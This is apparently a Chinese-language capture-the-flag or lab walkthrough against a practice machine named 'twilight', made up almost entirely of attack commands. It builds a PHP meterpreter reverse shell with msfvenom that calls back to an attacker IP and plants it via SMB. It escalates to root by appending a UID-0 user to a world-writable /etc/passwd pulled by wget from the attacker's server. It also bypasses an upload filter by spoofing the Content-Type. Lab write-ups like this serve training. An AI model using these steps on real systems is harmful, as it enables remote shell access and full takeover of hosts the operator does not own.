smb: \var\www\html\>
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.154 LPORT=4444 -f raw >muma.php
smb下上傳muma.php

訪問http://192.168.43.164/muma.php，反彈shell
shell
python -c "import pty;pty.spawn('/bin/bash')"
www-data@twilight:/var/www/html$
cd /home
顯示存在miguel的使用者
cat /etc/passwd
miguel:x:1000:1000:,,,:/home/miguel:/bin/bash
ls -al /etc/passwd，有讀寫許可權
-rwxrwxrwx 1 root root 1594 Jul 16 09:34 /etc/passwd
攻擊機執行
openssl passwd -1 -salt useruser 123456
將靶機/etc/passwd複製到本地
最後一行新增
useruser:$1$useruser$8MVi1CAiLopcN8yk6Hj4B0:0:0:/root/root:/bin/bash
python3 -m http.server 80
wget http://192.168.43.154/passwd -O /etc/passwd

利用上傳介面獲取shell
dirb http://192.168.43.3/
http://192.168.43.3/gallery/
http://192.168.43.3/gallery/original/，可以檢視檔案目錄，例如上傳的muma.php
重新命名muma.php為muma.php.pjpeg
上傳，burpsuite抓包，
Content-Type: image/jpeg
檔名重新修改為muma.php
上傳成功
